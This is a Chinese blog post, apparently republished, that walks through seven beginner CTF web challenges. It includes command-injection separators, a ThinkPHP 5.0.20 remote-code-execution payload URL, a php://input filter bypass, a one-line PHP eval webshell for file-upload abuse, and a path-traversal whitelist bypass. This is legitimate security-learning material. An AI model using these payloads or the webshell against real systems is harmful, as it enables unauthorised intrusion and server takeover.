攻防世界题目练习——Web引导模式(一)

news2024/11/17 22:40:21

题目目录

    • 1. command_execution
    • 2.xff_referer
    • 3.simple_js
    • 4.php_rce
    • 5.Web_php_include
    • 6.upload1
    • 7. warmup

难度1全部写过了,这个系列里没有
指路:
攻防世界题目练习——Web难度1(一)
攻防世界题目练习——Web难度1(二)

1. command_execution

题目:
小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
在这里插入图片描述
题目名称是命令执行,想到了命令拼接,但是忘记怎么拼接了,于是查了一下资料:
攻防世界web刷题 新手区 command_execution 详细解!!!超详细
【web安全】——命令执行漏洞(RCE)详解
可以看到,命令拼接符有如下几种:

Windows下:
& A&B 无论A是false还是true,B都执行,即互不影响
&& A&&B 具有短路效果,A是false,B就不执行,有短路效果
| A|B 表示A命令语句的输出,作为B命令语句的输入执行。当A为false的时候将不会执行
|| A||B 表示A命令语句执行失败,然后才执行B命令语句

Linux下:
& 使命令在后台运行。只要在命令后面跟上一个空格和 ‘&’,可以一口气 在后台运行多个命令
&& 同Windows下
|| 同Windows下
; 分号,可以进行多条命令的无关联执行,每一条执行结果互不影响
() 想执行几个命令,则需要用命令分隔符分号隔开每个命令,并使用 圆括号()把所有命令组合起来。
于是我们尝试用;连接两条命令:
在这里插入图片描述
尝试用find命令查看带有"flag"名称的文件:
Linux下查找文件(find、grep命令)
find / -name “flag*”
/ 表示在根目录下
*是通配符
在这里插入图片描述
然后再用cat命令查看
在这里插入图片描述

2.xff_referer

题目:
X老师告诉小宁其实xff和referer是可以伪造的。
参考博客:
CTF/网络安全|攻防世界 xff_referer 解题详析
xff-referer伪造ip地址和域名
姑且理解为:
X-Forwarded-For展示的是访问来源的最终客户端的ip地址
Referer是从某个A网站显示的B网站的链接来访问B网站时,访问B网站的请求包里的Referer就是A网站的域名。
在这里插入图片描述
在这里插入图片描述

3.simple_js

访问网页就弹窗,不是很清楚从何下手,看到题目名称js,想到javascript,就F12想看一下源码,居然真的能看到有用的源码:

	function dechiffre(pass_enc){
        var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
        var tab  = pass_enc.split(',');
        //string.split(separator,limit),字符串或正则表达式,从该参数指定的地方分割 string Object。
        //从函数体外的最后两行代码可以看到,函数dechiffre的参数pass_enc就是要输入的密码,以','分隔后赋值给了变量tab
                var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                        k = j + (l) + (n=0);
                        //j是我们输入的密码的长度
                        //k的初始值k=j
                        n = tab2.length;
                        //n是变量pass的长度,数了一下,是18
                        for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
                                if(i == 5)break;}
                                //在0<=i<=5之间,将tab2[i]的值存入p中
                                //没看懂o=tab[i-l]有什么用
                        for(i = (o=0); i < (k = j = n); i++ ){
                        o = tab[i-l];
                                if(i > 5 && i < k-1)
                                        p += String.fromCharCode((o = tab2[i]));
                        }
                        //k=j=n,将n赋值给了j
                        //5<i<k-1=n-1=17
        p += String.fromCharCode(tab2[17]);
        //tab2[17]=65
        pass = p;return pass;
    }
    String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
//自始至终,dechiffre()函数的返回值只会是变量pass的初始值
    h = window.prompt('Enter password');
    alert( dechiffre(h) );

alert()函数会用一个弹窗显示出函数的参数表示的信息。
参考博客:
JavaScript split() 方法
JavaScript的三种弹出提示框(alert、confirm、prompt)

随便输入错误的密码,看到弹窗如下:
在这里插入图片描述
源码中的变量pass应该就是这一串字符,根据上面的分析,应该无论输入什么都会输出上面这个弹框的提示。
唯一可能存在flag的就是这一串了:

String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

随便print一下进行ascii码转换,再将获得的字符作为十进制ascii码再次转换:
在这里插入图片描述
参考博客:
[CTF/网络安全] 攻防世界 simple_js 解题详析

4.php_rce

对不起,我浅薄的网安知识让我以为php_rce是指php源码,看了别人的解析才知道是一种漏洞的名称TAT
放一篇参考博客在这里:
[CTF/网络安全] 攻防世界 php_rce 解题详析

PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。
看了博客才知道,原来是利用ThinkPHP V5的已知漏洞payload的吗?!
(原来是用这种方式解决的吗.jpg)
博客里尝试v5.0.20版本的漏洞payload是可以用的,尝试如下:
URL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd命令

ls
在这里插入图片描述
find / -name "*flag*"
在这里插入图片描述
cat /flag
在这里插入图片描述

5.Web_php_include

打开网址后看到显示源码如下:

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

可以看到,strstr函数会检测参数 $page 中是否包含字符串"php://“,若包含,则用空字符串”“替换掉 $page 中的"php://”。
因此需要绕过strstr函数的检测,同时,我们还需要可执行命令来查找flag文件,在php伪协议中,可以用php://input 在post的请求体中上传可执行命令。
查找资料后发,strstr函数对大小写十分敏感,因此考虑大小写绕过。
在这里插入图片描述
可以看到存在文件 fl4gisisish3r3.php(flagisisishere),于是我们查看该文件:
在这里插入图片描述
更多方式参考博客:
XCTF-攻防世界CTF平台-Web类——4、Web_php_include(php中strstr()函数绕过、数据流协议)
[CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议) - 秋说 - 博客园

6.upload1

查看网页源码,可以看到对上传文件的条件检测:
在这里插入图片描述
如图,check()函数会将/^.+\./替换为空字符串'',并会检测名称是否包含jpg或png。
这题真的比我想得简单多了,居然最普通的一句话木马文件上传就可以,一句话木马:
<?php @eval($_POST[1]);?>
然后就是BurpSuite修改文件后缀,把jpg/png修改为php
没有很多过滤,直接上传成功,还直接显示了上传文件的路径,感觉我前面看源码想复杂了,不知道那个replace函数的替换起到了什么作用:
(又去搜了搜别人的解析思考了一下,这个replace应该并不是针对文件后缀的过滤吧,可能只是为了便于数据处理而进行的替换,并不是对上传的文件名的限制)
真正的检验应该只有后面判断是否为jpg/png文件,而且这个属于前端校验,就是只在前端上传页面进行检测,就算检测不通过文件也会被存储,只是会在前端将按钮灰掉不让上传,因此也可以通过修改前端代码的方式来取消文件上传后缀的限制。
在这里插入图片描述
接下来用蚁剑连接找文件:
在这里插入图片描述
还是对这些文件存放的位置不够熟悉,只知道很多在根目录下,还是看了博客才知道很多也经常放在www目录下。
参考博客:
XCTF-攻防世界CTF平台-Web类——11、upload1(文件上传、前端校验)

7. warmup

打开网址一直转圈,于是用BurpSuite抓包查看response,如下:
在这里插入图片描述
看到了右边的响应中出现了一个 source.php 文件名,于是又用御剑扫描了一下目录:
在这里插入图片描述
查看了source.php,没看到和flag相关的信息,又查看hint.php,发现提示:
在这里插入图片描述
回过头来再仔细分析source.php的内容,如下:

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            //设置了一个白名单,只允许访问source.php和hint.php两个文件,下面看一下做了哪些检验
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            //第1次检验
            if (in_array($page, $whitelist)) {
                return true;
            }

            //第2次检验
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            //mb_substr(str,start,length)函数从str的start位置开始返回length长度的字符串
            //mb_strpos(haystack,needle,offset)函数返回 string 的 haystack 中 needle 首次出现位置的数值,offset是搜索位置的偏移,没有提供的话则默认为0。
            //故,该函数的含义是:
            //返回$page参数中直到第一次出现?之前的字符串(因为是从0开始数)作为$_page
            if (in_array($_page, $whitelist)) {
                return true;
            }
            //然后检测$_page是否在白名单中

            //第3次检验
            //如果不在,则:
            $_page = urldecode($page);
            //将$page进行url解码后再进行上述判断
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            //对$_page进行一次截断后再判断白名单
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

参考博客:
PHP mb_substr() 函数 | 菜鸟教程
PHP: mb_strpos - Manual
在上面的源码中,可以看到一共进行了3次检验:
第1次是直接将整个路径进行白名单匹配;
第2次是将?前的内容进行匹配;
第3次是进行url解码后再匹配;
总的来说就是,只要我们构造的file参数的内容能够满足这3次检验中的一次,并且要访问到文件ffffllllaaaagggg。
我们并不知道ffffllllaaaagggg的准确的路径,需要通过足够多的…/构造的相对路径来访问这个文件。
其实并不是很清楚具体原理,这个又好像属于猜测路径。
在这里插入图片描述
如果要构造满足第3次检验的url,则需要对?进行两次url编码,因为路径在通过url上传时浏览器本身就会自己进行一次url解码,而第3次检验又需要进行一次url解码,因此需要编码两次。

参考博客:
攻防世界-web高手进阶篇-warmup

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1073040.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

软件工程概论

文章目录 软件的定义软件的特点软件的种类软件工程的起源软件工程的三个阶段软件工程概念的提出软件开发的本质软件工程框架软件工程的目标软件工程的原则软件工程的活动 软件的定义 计算机系统中的程序及其文档。 程序是计算任务的处理对象和处理规则的描述&#xff1b; 文档…

Unity 引擎变身收费大亨,程序员们的钱包开始减肥计划

变天了&#xff01;Unity 引擎自 2024 年元旦起&#xff0c;要开始对我们开发者“开刀”了。别急&#xff0c;先听我慢慢道来这个悲欢离合的故事。 Unity 收费新政&#xff1a;别再白嫖了&#xff01; 喜大普奔&#xff01;Unity 引擎宣布从 2024 年 1 月 1 日开始&#xff0…

基于若依ruoyi-nbcio支持flowable流程分类里增加流程应用类型

主要考虑到流程分很多种&#xff0c;普通的是OA流程&#xff0c;还有自定义业务流程&#xff0c;钉钉流程等&#xff0c;所以这里加了一个appType的应用类型&#xff0c;以便后续对不同的应用流程做不同的处理。 1、首先增加一个字典wf_app_type的流程应用类型如下 2、先增加三…

【排序算法】插入排序

文章目录 一&#xff1a;基本概念1.1 介绍1.2 原理1.3 插入排序法思想 二&#xff1a;代码实现2.1 源码2.2 执行结果2.3 测试八万条数据 三&#xff1a;算法分析3.1 时间复杂度3.2 空间复杂度3.3 稳定性 一&#xff1a;基本概念 1.1 介绍 插入式排序属于内部排序法&#xff0…

计算机视觉简介(1)

任何计算机视觉处理流程都始于成像系统&#xff0c;它从景物中捕获反射出来的光线&#xff0c;并将光信号转换成计算机可以读取和处理的图像格式 在计算机成像技术发展的早期&#xff0c;图像通过把胶卷或印刷图像素 化后获得&#xff1b;而现在图 像通常直接由数码相机获取&a…

内网穿透的应用-本地部署Stackedit Markdown编辑器公网远程访问

文章目录 1. docker部署Stackedit2. 本地访问3. Linux 安装cpolar4. 配置Stackedit公网访问地址5. 公网远程访问Stackedit6. 固定Stackedit公网地址 StackEdit是一个受欢迎的Markdown编辑器&#xff0c;在GitHub上拥有20.7k Star&#xff01;&#xff0c;它支持将Markdown笔记保…

四川天蝶电子商务有限公司怎么样?

近年来&#xff0c;随着抖音的迅猛发展&#xff0c;越来越多的企业开始涉足抖音服务领域&#xff0c;希望通过抖音平台来拓展自己的业务。这其中&#xff0c;四川天蝶电子商务有限公司便是备受瞩目的一家。那么&#xff0c;四川天蝶电子商务有限公司的抖音服务到底如何呢&#…

主从复制的实现方案

读写分离技术架构图 实现读写分离的技术架构选型如上;需要自己去实践主从复制;为了节省资源&#xff0c;当然系统并发量并没有那么大,选择一主一丛;强制读主库,为了解决主从同步延迟带来的影响&#xff1b;对于实时性要求高的强制读主库&#xff1b;GTID 主要是一种事务标识技术…

什么是网络安全?掌握网络安全技能可以做什么

前言 随着互联网时代的到来&#xff0c;越来越多的人依靠互联网工作和生活&#xff0c;网络安全变得越来越重要。市场对网络安全工程师职位的需求逐渐增加。越来越多的朋友希望发展网络安全技能。那么网络安全是什么&#xff1f;如何学习网络安全&#xff1f;学完网络安全可以…

物联网AI MicroPython传感器学习 之 4路电容式触摸开关

学物联网&#xff0c;来万物简单IoT物联网&#xff01;&#xff01; 一、产品简介 板载TTP224电容式4键触摸感应IC&#xff0c;开发者通过触摸该电容模块获取对应的高低电平状态&#xff0c;可以广泛应用于灯光控制、玩具、家用电器等产品中。 引脚定义&#xff1a; VCC&…

Java学习笔记(一)

目录 一、Java概述 &#xff08;一&#xff09;Java技术体系平台 &#xff08;二&#xff09;Java重要特点 &#xff08;三&#xff09;Java运行机制及运行过程 &#xff08;四&#xff09;JDK &#xff08;五&#xff09;JRE 二、Java的快速入门 &#xff08;一&#…

岩土工程安全监测无线振弦采集仪在无线组网的关键要点

岩土工程安全监测无线振弦采集仪在无线组网的关键要点 岩土工程是一种奇特而又极其重要的工程。它涉及到土地、岩石、气候等等因素&#xff0c;需要重视安全因素。而无线振弦采集仪作为一种常用的监测设备&#xff0c;可以采集岩土工程中的振动数据&#xff0c;从而确保工程的…

Go代码包与引入:如何有效组织您的项目

目录 一、引言二、代码包概述基础定义常用标准库包 三、创建代码包文件结构命名规则公共与私有标识符举例 五、包引入基础包引入批量引入别名Dot Import匿名引入初始化顺序完整的引入声明语句形式 六、包的组织和管理使用 go mod 管理模块模块依赖本地替换和代理设置包的版本控…

leetCode 1143.最长公共子序列 动态规划 + 滚动数组

1143. 最长公共子序列 - 力扣&#xff08;LeetCode&#xff09; 给定两个字符串 text1 和 text2&#xff0c;返回这两个字符串的最长 公共子序列 的长度。如果不存在 公共子序列 &#xff0c;返回 0 。 一个字符串的 子序列 是指这样一个新的字符串&#xff1a;它是由原字符串…

好用的文件备份软件推荐!

为什么需要文件备份软件&#xff1f; 在我们使用计算机的日常工作生活中&#xff0c;可能会遇到各种不同类型的文件&#xff0c;例如文档、Word文档、Excel表格、PPT演示文稿、图片等&#xff0c;这些数据中可能有些对我们来说很重要&#xff0c;但是可能会因为一些意外状况…

二极管“天马行空”的作用,你知道吗?

网友&#xff1a;二极管怎么有这么多种类呀&#xff1f; 工程师&#xff1a;二极管可以说除了电阻电容外用的比较多的一种元器件&#xff0c;起到的作用多着呢 那么二极管都可以起到哪些作用呢&#xff1a; 一、防反作用&#xff0c;主回路中串联一个二极管&#xff0c;是利用…

如何在10分钟内让Android应用大小减少 60%?

一个APP的包之所以大&#xff0c;主要包括一下文件 代码libso本地库资源文件&#xff08;图片&#xff0c;音频&#xff0c;字体等&#xff09; 瘦身就主要瘦这些。 一、打包的時候刪除不用的代码 buildTypes {debug {...shrinkResources true // 是否去除无效的资源文件(如…

基于火山引擎云搜索服务的排序学习实战

排序学习(LTR: Learning to Rank)作为一种机器学习技术&#xff0c;其应用场景非常广泛。例如&#xff0c;在电商推荐领域&#xff0c;可以帮助电商平台对用户的购买历史、搜索记录、浏览行为等数据进行分析和建模&#xff1b;可以帮助搜索引擎对用户的搜索关键词进行分析建模&…

警惕Mallox勒索病毒的最新变种mallab,您需要知道的预防和恢复方法。

导言&#xff1a; 在我们数字化的世界中&#xff0c;.mallab勒索病毒如同一只潜伏的恶龙&#xff0c;威胁着我们的数据安全。本文将深入探讨.mallab勒索病毒的攻击方式&#xff0c;同时提供生动的对策&#xff0c;助您从这场数据恶梦中苏醒。如果受感染的数据确实有恢复的价值…

面试经典 150 题 4 —(数组 / 字符串)— 80. 删除有序数组中的重复项 II

80. 删除有序数组中的重复项 II 方法一 class Solution { public:int removeDuplicates(vector<int>& nums) {int len 0;for(auto num : nums)if(len < 2 || nums[len-2] ! num)nums[len] num;return len;} };方法二 class Solution { public:int removeDupli…